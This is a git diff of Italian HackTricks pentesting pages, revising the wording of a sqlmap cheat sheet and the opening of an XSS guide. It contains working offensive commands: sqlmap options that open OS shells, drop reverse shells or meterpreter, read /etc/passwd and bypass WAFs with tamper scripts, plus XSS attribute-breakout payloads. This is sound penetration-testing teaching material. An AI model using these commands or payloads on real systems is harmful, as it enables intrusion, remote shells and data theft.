SELECT $TAG$hacktricks$TAG$;
|
||||||
```
|
```
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Se sei interessato a una **carriera nel campo dell'hacking** e vuoi hackerare ciò che sembra impossibile - **stiamo assumendo!** (_richiesta competenza fluente in polacco, sia scritta che parlata_).
|
Se sei interessato a una **carriera nel campo dell'hacking** e vuoi hackerare ciò che sembra impossibile - **stiamo assumendo!** (_richiesta competenza fluente in polacco, sia scritta che parlata_).
|
||||||
|
|
||||||
|
@ -102,13 +102,13 @@ Se sei interessato a una **carriera nel campo dell'hacking** e vuoi hackerare ci
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking su AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Impara l'hacking su AWS da zero all'esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
|
|
@ -14,9 +14,9 @@ Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, aprire shell e divertirsi.
|
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per dare loro più tempo per approfondire, aprire shell e divertirsi.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/" %}
|
{% embed url="https://pentest-tools.com/" %}
|
||||||
|
|
||||||
|
@ -62,9 +62,9 @@ Altri modi per supportare HackTricks:
|
||||||
```
|
```
|
||||||
## Posizione dell'iniezione
|
## Posizione dell'iniezione
|
||||||
|
|
||||||
### Da cattura di Burp/ZAP
|
### Da cattura Burp/ZAP
|
||||||
|
|
||||||
Catturare la richiesta e creare un file req.txt
|
Cattura la richiesta e crea un file req.txt
|
||||||
```bash
|
```bash
|
||||||
sqlmap -r req.txt --current-user
|
sqlmap -r req.txt --current-user
|
||||||
```
|
```
|
||||||
|
@ -73,7 +73,7 @@ sqlmap -r req.txt --current-user
|
||||||
sqlmap -u "http://example.com/?id=1" -p id
|
sqlmap -u "http://example.com/?id=1" -p id
|
||||||
sqlmap -u "http://example.com/?id=*" -p id
|
sqlmap -u "http://example.com/?id=*" -p id
|
||||||
```
|
```
|
||||||
### Iniezione di richiesta POST
|
### Iniezione di richieste POST
|
||||||
```bash
|
```bash
|
||||||
sqlmap -u "http://example.com" --data "username=*&password=*"
|
sqlmap -u "http://example.com" --data "username=*&password=*"
|
||||||
```
|
```
|
||||||
|
@ -95,9 +95,9 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
|
||||||
```bash
|
```bash
|
||||||
--string="string_showed_when_TRUE"
|
--string="string_showed_when_TRUE"
|
||||||
```
|
```
|
||||||
### Valutazione
|
### Eval
|
||||||
|
|
||||||
**Sqlmap** consente l'uso di `-e` o `--eval` per elaborare ogni payload prima di inviarlo con un oneliner python. Questo rende molto facile e veloce elaborare in modi personalizzati il payload prima di inviarlo. Nell'esempio seguente la **sessione cookie di flask** **viene firmata da flask con il segreto conosciuto prima di inviarla**:
|
**Sqlmap** permette l'uso di `-e` o `--eval` per elaborare ogni payload prima di inviarlo con un oneliner python. Questo rende molto facile e veloce elaborare in modi personalizzati il payload prima di inviarlo. Nell'esempio seguente la **sessione cookie di flask** **viene firmata da flask con il segreto conosciuto prima di inviarla**:
|
||||||
```bash
|
```bash
|
||||||
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
|
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
|
||||||
```
|
```
|
||||||
|
@ -114,11 +114,11 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
|
||||||
#Dropping a reverse-shell / meterpreter
|
#Dropping a reverse-shell / meterpreter
|
||||||
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
|
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
|
||||||
```
|
```
|
||||||
### Leggere il file
|
### Leggi File
|
||||||
```bash
|
```bash
|
||||||
--file-read=/etc/passwd
|
--file-read=/etc/passwd
|
||||||
```
|
```
|
||||||
### Esegui lo scraping di un sito web con SQLmap e auto-sfrutta
|
### Esegui lo scraping di un sito web con SQLmap e auto-exploit
|
||||||
```bash
|
```bash
|
||||||
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
|
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
|
||||||
|
|
||||||
|
@ -157,45 +157,45 @@ Ricorda che **puoi creare la tua manipolazione in python** ed è molto semplice.
|
||||||
```
|
```
|
||||||
| Tamper | Descrizione |
|
| Tamper | Descrizione |
|
||||||
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
|
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
|
||||||
| apostrophemask.py | Sostituisce il carattere apostrofo con il suo corrispettivo a larghezza completa in UTF-8 |
|
| apostrophemask.py | Sostituisce il carattere apostrofo con il suo corrispettivo a larghezza intera UTF-8 |
|
||||||
| apostrophenullencode.py | Sostituisce il carattere apostrofo con il suo corrispettivo doppio unicode illegale |
|
| apostrophenullencode.py | Sostituisce il carattere apostrofo con il suo corrispettivo doppio unicode illegale |
|
||||||
| appendnullbyte.py | Aggiunge il carattere byte NULL codificato alla fine del payload |
|
| appendnullbyte.py | Aggiunge il carattere byte NULL codificato alla fine del payload |
|
||||||
| base64encode.py | Codifica in Base64 tutti i caratteri in un determinato payload |
|
| base64encode.py | Codifica in Base64 tutti i caratteri in un determinato payload |
|
||||||
| between.py | Sostituisce l'operatore maggiore di ('>') con 'NOT BETWEEN 0 AND #' |
|
| between.py | Sostituisce l'operatore maggiore di ('>') con 'NOT BETWEEN 0 AND #' |
|
||||||
| bluecoat.py | Sostituisce il carattere spazio dopo l'istruzione SQL con un carattere vuoto casuale valido. Successivamente sostituisce il carattere = con l'operatore LIKE |
|
| bluecoat.py | Sostituisce il carattere spazio dopo l'istruzione SQL con un carattere vuoto casuale valido. Successivamente sostituisce il carattere = con l'operatore LIKE |
|
||||||
| chardoubleencode.py | Doppia la codifica URL di tutti i caratteri in un determinato payload (senza elaborare quelli già codificati) |
|
| chardoubleencode.py | Doppia la codifica URL di tutti i caratteri in un determinato payload (senza elaborare già codificati) |
|
||||||
| commalesslimit.py | Sostituisce le istanze come 'LIMIT M, N' con 'LIMIT N OFFSET M' |
|
| commalesslimit.py | Sostituisce istanze come 'LIMIT M, N' con 'LIMIT N OFFSET M' |
|
||||||
| commalessmid.py | Sostituisce le istanze come 'MID(A, B, C)' con 'MID(A FROM B FOR C)' |
|
| commalessmid.py | Sostituisce istanze come 'MID(A, B, C)' con 'MID(A FROM B FOR C)' |
|
||||||
| concat2concatws.py | Sostituisce le istanze come 'CONCAT(A, B)' con 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
|
| concat2concatws.py | Sostituisce istanze come 'CONCAT(A, B)' con 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
|
||||||
| charencode.py | Codifica URL tutti i caratteri in un determinato payload (senza elaborare quelli già codificati) |
|
| charencode.py | Codifica URL tutti i caratteri in un determinato payload (senza elaborare già codificati) |
|
||||||
| charunicodeencode.py | Codifica in Unicode-URL i caratteri non codificati in un determinato payload (senza elaborare quelli già codificati). "%u0022" |
|
| charunicodeencode.py | Codifica URL Unicode i caratteri non codificati in un determinato payload (senza elaborare già codificati). "%u0022" |
|
||||||
| charunicodeescape.py | Codifica in Unicode-URL i caratteri non codificati in un determinato payload (senza elaborare quelli già codificati). "\u0022" |
|
| charunicodeescape.py | Codifica URL Unicode i caratteri non codificati in un determinato payload (senza elaborare già codificati). "\u0022" |
|
||||||
| equaltolike.py | Sostituisce tutte le occorrenze dell'operatore uguale ('=') con l'operatore 'LIKE' |
|
| equaltolike.py | Sostituisce tutte le occorrenze dell'operatore uguale ('=') con l'operatore 'LIKE' |
|
||||||
| escapequotes.py | Escape degli apici (' e ") |
|
| escapequotes.py | Escape degli apici (' e ") |
|
||||||
| greatest.py | Sostituisce l'operatore maggiore di ('>') con il corrispettivo 'GREATEST' |
|
| greatest.py | Sostituisce l'operatore maggiore di ('>') con il corrispettivo 'GREATEST' |
|
||||||
| halfversionedmorekeywords.py | Aggiunge un commento MySQL versionato prima di ogni parola chiave |
|
| halfversionedmorekeywords.py | Aggiunge un commento MySQL versionato prima di ogni parola chiave |
|
||||||
| ifnull2ifisnull.py | Sostituisce le istanze come 'IFNULL(A, B)' con 'IF(ISNULL(A), B, A)' |
|
| ifnull2ifisnull.py | Sostituisce istanze come 'IFNULL(A, B)' con 'IF(ISNULL(A), B, A)' |
|
||||||
| modsecurityversioned.py | Racchiude la query completa con un commento versionato |
|
| modsecurityversioned.py | Racchiude la query completa con un commento versionato |
|
||||||
| modsecurityzeroversioned.py | Racchiude la query completa con un commento a versione zero |
|
| modsecurityzeroversioned.py | Racchiude la query completa con un commento a versione zero |
|
||||||
| multiplespaces.py | Aggiunge spazi multipli attorno alle parole chiave SQL |
|
| multiplespaces.py | Aggiunge spazi multipli attorno alle parole chiave SQL |
|
||||||
| nonrecursivereplacement.py | Sostituisce le parole chiave SQL predefinite con rappresentazioni adatte per la sostituzione (es. .replace("SELECT", "")) filtri |
|
| nonrecursivereplacement.py | Sostituisce parole chiave SQL predefinite con rappresentazioni adatte per la sostituzione (ad es. .replace("SELECT", "")) filtri |
|
||||||
| percentage.py | Aggiunge un segno di percentuale ('%') davanti a ciascun carattere |
|
| percentage.py | Aggiunge un segno di percentuale ('%') davanti a ciascun carattere |
|
||||||
| overlongutf8.py | Converte tutti i caratteri in un determinato payload (senza elaborare quelli già codificati) |
|
| overlongutf8.py | Converte tutti i caratteri in un determinato payload (senza elaborare già codificati) |
|
||||||
| randomcase.py | Sostituisce ciascun carattere della parola chiave con un valore casuale di maiuscole e minuscole |
|
| randomcase.py | Sostituisce ciascun carattere della parola chiave con un valore di caso casuale |
|
||||||
| randomcomments.py | Aggiunge commenti casuali alle parole chiave SQL |
|
| randomcomments.py | Aggiunge commenti casuali alle parole chiave SQL |
|
||||||
| securesphere.py | Aggiunge una stringa speciale articolata |
|
| securesphere.py | Aggiunge una stringa speciale articolata |
|
||||||
| sp\_password.py | Aggiunge 'sp\_password' alla fine del payload per l'offuscamento automatico dai log del DBMS |
|
| sp\_password.py | Aggiunge 'sp\_password' alla fine del payload per l'offuscamento automatico dai log del DBMS |
|
||||||
| space2comment.py | Sostituisce il carattere spazio (' ') con commenti |
|
| space2comment.py | Sostituisce il carattere spazio (' ') con commenti |
|
||||||
| space2dash.py | Sostituisce il carattere spazio (' ') con un commento dash ('--') seguito da una stringa casuale e un nuovo rigo ('\n') |
|
| space2dash.py | Sostituisce il carattere spazio (' ') con un commento dash ('--') seguito da una stringa casuale e una nuova riga ('\n') |
|
||||||
| space2hash.py | Sostituisce il carattere spazio (' ') con un carattere cancelletto ('#') seguito da una stringa casuale e un nuovo rigo ('\n') |
|
| space2hash.py | Sostituisce il carattere spazio (' ') con un carattere cancelletto ('#') seguito da una stringa casuale e una nuova riga ('\n') |
|
||||||
| space2morehash.py | Sostituisce il carattere spazio (' ') con un carattere cancelletto ('#') seguito da una stringa casuale e un nuovo rigo ('\n') |
|
| space2morehash.py | Sostituisce il carattere spazio (' ') con un carattere cancelletto ('#') seguito da una stringa casuale e una nuova riga ('\n') |
|
||||||
| space2mssqlblank.py | Sostituisce il carattere spazio (' ') con un carattere vuoto casuale da un insieme valido di caratteri alternativi |
|
| space2mssqlblank.py | Sostituisce il carattere spazio (' ') con un carattere vuoto casuale da un insieme valido di caratteri alternativi |
|
||||||
| space2mssqlhash.py | Sostituisce il carattere spazio (' ') con un carattere cancelletto ('#') seguito da un nuovo rigo ('\n') |
|
| space2mssqlhash.py | Sostituisce il carattere spazio (' ') con un carattere cancelletto ('#') seguito da una nuova riga ('\n') |
|
||||||
| space2mysqlblank.py | Sostituisce il carattere spazio (' ') con un carattere vuoto casuale da un insieme valido di caratteri alternativi |
|
| space2mysqlblank.py | Sostituisce il carattere spazio (' ') con un carattere vuoto casuale da un insieme valido di caratteri alternativi |
|
||||||
| space2mysqldash.py | Sostituisce il carattere spazio (' ') con un commento dash ('--') seguito da un nuovo rigo ('\n') |
|
| space2mysqldash.py | Sostituisce il carattere spazio (' ') con un commento dash ('--') seguito da una nuova riga ('\n') |
|
||||||
| space2plus.py | Sostituisce il carattere spazio (' ') con il simbolo più ('+') |
|
| space2plus.py | Sostituisce il carattere spazio (' ') con il simbolo più ('+') |
|
||||||
| space2randomblank.py | Sostituisce il carattere spazio (' ') con un carattere vuoto casuale da un insieme valido di caratteri alternativi |
|
| space2randomblank.py | Sostituisce il carattere spazio (' ') con un carattere vuoto casuale da un insieme valido di caratteri alternativi |
|
||||||
| symboliclogical.py | Sostituisce gli operatori logici AND e OR con i loro corrispettivi simbolici (&& e) |
|
| symboliclogical.py | Sostituisce gli operatori logici AND e OR con i loro corrispettivi simbolici (&& e |
|
||||||
| unionalltounion.py | Sostituisce UNION ALL SELECT con UNION SELECT |
|
| unionalltounion.py | Sostituisce UNION ALL SELECT con UNION SELECT |
|
||||||
| unmagicquotes.py | Sostituisce il carattere apice (') con una combinazione multibyte %bf%27 insieme a un commento generico alla fine (per farlo funzionare) |
|
| unmagicquotes.py | Sostituisce il carattere apice (') con una combinazione multibyte %bf%27 insieme a un commento generico alla fine (per farlo funzionare) |
|
||||||
| uppercase.py | Sostituisce ciascun carattere della parola chiave con il valore in maiuscolo 'INSERT' |
|
| uppercase.py | Sostituisce ciascun carattere della parola chiave con il valore in maiuscolo 'INSERT' |
|
||||||
|
@ -204,7 +204,7 @@ Ricorda che **puoi creare la tua manipolazione in python** ed è molto semplice.
|
||||||
| versionedmorekeywords.py | Racchiude ciascuna parola chiave con un commento MySQL versionato |
|
| versionedmorekeywords.py | Racchiude ciascuna parola chiave con un commento MySQL versionato |
|
||||||
| xforwardedfor.py | Aggiunge un'intestazione HTTP falsa 'X-Forwarded-For' |
|
| xforwardedfor.py | Aggiunge un'intestazione HTTP falsa 'X-Forwarded-For' |
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, aprire shell e divertirsi.
|
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, aprire shell e divertirsi.
|
||||||
|
|
||||||
|
@ -212,7 +212,7 @@ Ricorda che **puoi creare la tua manipolazione in python** ed è molto semplice.
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
|
@ -220,6 +220,6 @@ Altri modi per supportare HackTricks:
|
||||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
# XSS (Cross Site Scripting)
|
# XSS (Cross Site Scripting)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Se sei interessato a una **carriera nel campo dell'hacking** e vuoi hackerare ciò che sembra impossibile - **stiamo assumendo!** (_richiesta competenza fluente in polacco, sia scritta che parlata_).
|
Se sei interessato a una **carriera nel campo dell'hacking** e vuoi hackerare ciò che sembra impossibile - **stiamo assumendo!** (_richiesta competenza fluente in polacco scritta e parlata_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -23,7 +23,7 @@ Se sei interessato a una **carriera nel campo dell'hacking** e vuoi hackerare ci
|
||||||
2. Puoi creare nuovi eventi/attributi per eseguire codice JS?
|
2. Puoi creare nuovi eventi/attributi per eseguire codice JS?
|
||||||
3. L'attributo in cui sei intrappolato supporta l'esecuzione di JS?
|
3. L'attributo in cui sei intrappolato supporta l'esecuzione di JS?
|
||||||
4. Puoi eludere le protezioni?
|
4. Puoi eludere le protezioni?
|
||||||
3. All'interno del codice **JavaScript**:
|
3. All'interno del **codice JavaScript**:
|
||||||
1. Puoi eludere il tag `<script>`?
|
1. Puoi eludere il tag `<script>`?
|
||||||
2. Puoi eludere la stringa ed eseguire diverso codice JS?
|
2. Puoi eludere la stringa ed eseguire diverso codice JS?
|
||||||
3. I tuoi input sono all'interno di template letterali \`\`?
|
3. I tuoi input sono all'interno di template letterali \`\`?
|
||||||
|
@ -31,7 +31,7 @@ Se sei interessato a una **carriera nel campo dell'hacking** e vuoi hackerare ci
|
||||||
4. Funzione **JavaScript** in fase di **esecuzione**
|
4. Funzione **JavaScript** in fase di **esecuzione**
|
||||||
1. Puoi indicare il nome della funzione da eseguire. es.: `?callback=alert(1)`
|
1. Puoi indicare il nome della funzione da eseguire. es.: `?callback=alert(1)`
|
||||||
4. Se **utilizzato**:
|
4. Se **utilizzato**:
|
||||||
1. Potresti sfruttare un **DOM XSS**, presta attenzione a come il tuo input è controllato e se il tuo **input controllato è utilizzato da qualche sink.**
|
1. Potresti sfruttare un **DOM XSS**, presta attenzione a come il tuo input è controllato e se il tuo **input controllato è utilizzato da qualche sink**.
|
||||||
|
|
||||||
Quando lavori su un XSS complesso potrebbe interessarti sapere di più su:
|
Quando lavori su un XSS complesso potrebbe interessarti sapere di più su:
|
||||||
|
|
||||||
|
@ -41,29 +41,29 @@ Quando lavori su un XSS complesso potrebbe interessarti sapere di più su:
|
||||||
|
|
||||||
## Valori Riflessi
|
## Valori Riflessi
|
||||||
|
|
||||||
Per sfruttare con successo un XSS la prima cosa che devi trovare è un **valore controllato da te che viene riflessa** nella pagina web.
|
Per sfruttare con successo un XSS la prima cosa che devi trovare è un **valore controllato da te che viene riflesso** nella pagina web.
|
||||||
|
|
||||||
* **Riflesso in modo intermedio**: Se scopri che il valore di un parametro o addirittura il percorso viene riflessa nella pagina web, potresti sfruttare un **XSS Riflesso**.
|
* **Riflesso in modo intermedio**: Se scopri che il valore di un parametro o addirittura il percorso viene riflesso nella pagina web, potresti sfruttare un **XSS Riflesso**.
|
||||||
* **Salvato e riflessa**: Se scopri che un valore controllato da te è salvato nel server e viene riflessa ogni volta che accedi a una pagina, potresti sfruttare un **XSS Memorizzato**.
|
* **Salvato e riflesso**: Se scopri che un valore controllato da te è salvato nel server e viene riflesso ogni volta che accedi a una pagina, potresti sfruttare un **XSS Memorizzato**.
|
||||||
* **Accesso tramite JS**: Se scopri che un valore controllato da te viene accesso utilizzando JS, potresti sfruttare un **DOM XSS**.
|
* **Accesso tramite JS**: Se scopri che un valore controllato da te viene accesso utilizzando JS, potresti sfruttare un **DOM XSS**.
|
||||||
|
|
||||||
## Contesti
|
## Contesti
|
||||||
|
|
||||||
Quando cerchi di sfruttare un XSS la prima cosa da sapere è **dove viene riflessa la tua input**. A seconda del contesto, sarai in grado di eseguire codice JS arbitrario in modi diversi.
|
Quando cerchi di sfruttare un XSS la prima cosa da sapere è **dove viene riflesso il tuo input**. A seconda del contesto, sarai in grado di eseguire codice JS arbitrario in modi diversi.
|
||||||
|
|
||||||
### HTML Grezzo
|
### HTML Grezzo
|
||||||
|
|
||||||
Se la tua input è **riflessa nella pagina HTML grezza** dovrai sfruttare alcuni **tag HTML** per eseguire codice JS: `<img , <iframe , <svg , <script` ... questi sono solo alcuni dei molti possibili tag HTML che potresti utilizzare.\
|
Se il tuo input è **riflesso nella pagina HTML grezza** dovrai sfruttare alcuni **tag HTML** per eseguire codice JS: `<img , <iframe , <svg , <script` ... questi sono solo alcuni dei molti tag HTML possibili che potresti utilizzare.\
|
||||||
Inoltre, tieni presente [Iniezione di Template Lato Client](../client-side-template-injection-csti.md).
|
Inoltre, tieni presente [l'Iniezione di Template Lato Client](../client-side-template-injection-csti.md).
|
||||||
|
|
||||||
### All'interno dell'attributo dei tag HTML
|
### All'interno dell'attributo dei tag HTML
|
||||||
|
|
||||||
Se la tua input è riflessa all'interno del valore dell'attributo di un tag, potresti provare:
|
Se il tuo input è riflesso all'interno del valore dell'attributo di un tag, potresti provare:
|
||||||
|
|
||||||
1. A **uscire dall'attributo e dal tag** (quindi sarai nell'HTML grezzo) e creare un nuovo tag HTML per sfruttare: `"><img [...]`
|
1. A **uscire dall'attributo e dal tag** (quindi sarai nell'HTML grezzo) e creare un nuovo tag HTML per sfruttare: `"><img [...]`
|
||||||
2. Se **puoi uscire dall'attributo ma non dal tag** (`>` è codificato o eliminato), a seconda del tag potresti **creare un evento** che esegue codice JS: `" autofocus onfocus=alert(1) x="`
|
2. Se **puoi uscire dall'attributo ma non dal tag** (`>` è codificato o eliminato), a seconda del tag potresti **creare un evento** che esegue codice JS: `" autofocus onfocus=alert(1) x="`
|
||||||
3. Se **non puoi uscire dall'attributo** (`"` è codificato o eliminato), allora a seconda di **quale attributo** riflette il tuo valore e se controlli tutto il valore o solo una parte, sarai in grado di sfruttarlo. Per **esempio**, se controlli un evento come `onclick=` sarai in grado di far eseguire codice arbitrario quando viene cliccato. Un altro esempio interessante è l'attributo `href`, dove puoi utilizzare il protocollo `javascript:` per eseguire codice arbitrario: **`href="javascript:alert(1)"`**
|
3. Se **non puoi uscire dall'attributo** (`"` è codificato o eliminato), allora a seconda di **quale attributo** riflette il tuo valore e se **controlli tutto il valore o solo una parte** sarai in grado di sfruttarlo. Ad **esempio**, se controlli un evento come `onclick=` sarai in grado di far eseguire codice arbitrario quando viene cliccato. Un altro **esempio** interessante è l'attributo `href`, dove puoi utilizzare il protocollo `javascript:` per eseguire codice arbitrario: **`href="javascript:alert(1)"`**
|
||||||
4. Se la tua input è riflessa all'interno di "**tag non esplorabili**" potresti provare il trucco **`accesskey`** per sfruttare la vulnerabilità (avrai bisogno di qualche tipo di ingegneria sociale per sfruttare questo): **`" accesskey="x" onclick="alert(1)" x="`**
|
4. Se il tuo input è riflesso all'interno di "**tag non esplorabili**" potresti provare il trucco di **`accesskey`** per sfruttare la vulnerabilità (avrai bisogno di qualche tipo di ingegneria sociale per sfruttare questo): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||||
|
|
||||||
Esempio strano di Angular che esegue XSS se controlli un nome di classe:
|
Esempio strano di Angular che esegue XSS se controlli un nome di classe:
|
||||||
```html
|
```html
|
||||||
|
@ -81,7 +81,7 @@ In questo caso, il tuo input viene riflessato tra i tag **`<script> [...] </scri
|
||||||
* `';-alert(1)//`
|
* `';-alert(1)//`
|
||||||
* `\';alert(1)//`
|
* `\';alert(1)//`
|
||||||
* Se viene riflessato all'interno di template letterali, puoi **inserire espressioni JS** utilizzando la sintassi `${ ... }`: `` var greetings = `Ciao, ${alert(1)}` ``
|
* Se viene riflessato all'interno di template letterali, puoi **inserire espressioni JS** utilizzando la sintassi `${ ... }`: `` var greetings = `Ciao, ${alert(1)}` ``
|
||||||
* L'**encoding Unicode** funziona per scrivere **codice JavaScript valido**:
|
* **La codifica Unicode** funziona per scrivere **codice JavaScript valido**:
|
||||||
```javascript
|
```javascript
|
||||||
\u{61}lert(1)
|
\u{61}lert(1)
|
||||||
\u0061lert(1)
|
\u0061lert(1)
|
||||||
|
@ -89,7 +89,7 @@ In questo caso, il tuo input viene riflessato tra i tag **`<script> [...] </scri
|
||||||
```
|
```
|
||||||
#### Sollevamento di Javascript
|
#### Sollevamento di Javascript
|
||||||
|
|
||||||
Il sollevamento di Javascript fa riferimento all'opportunità di **dichiarare funzioni, variabili o classi dopo che sono state utilizzate in modo da poter sfruttare scenari in cui un XSS utilizza variabili o funzioni non dichiarate.**\
|
Il sollevamento di Javascript fa riferimento alla possibilità di **dichiarare funzioni, variabili o classi dopo che sono state utilizzate in modo da poter sfruttare scenari in cui un XSS utilizza variabili o funzioni non dichiarate.**\
|
||||||
**Controlla la seguente pagina per ulteriori informazioni:**
|
**Controlla la seguente pagina per ulteriori informazioni:**
|
||||||
|
|
||||||
{% content-ref url="js-hoisting.md" %}
|
{% content-ref url="js-hoisting.md" %}
|
||||||
|
@ -120,9 +120,9 @@ parentElement
|
||||||
```
|
```
|
||||||
Puoi anche provare a **attivare le funzioni Javascript** direttamente: `obj.sales.delOrders`.
|
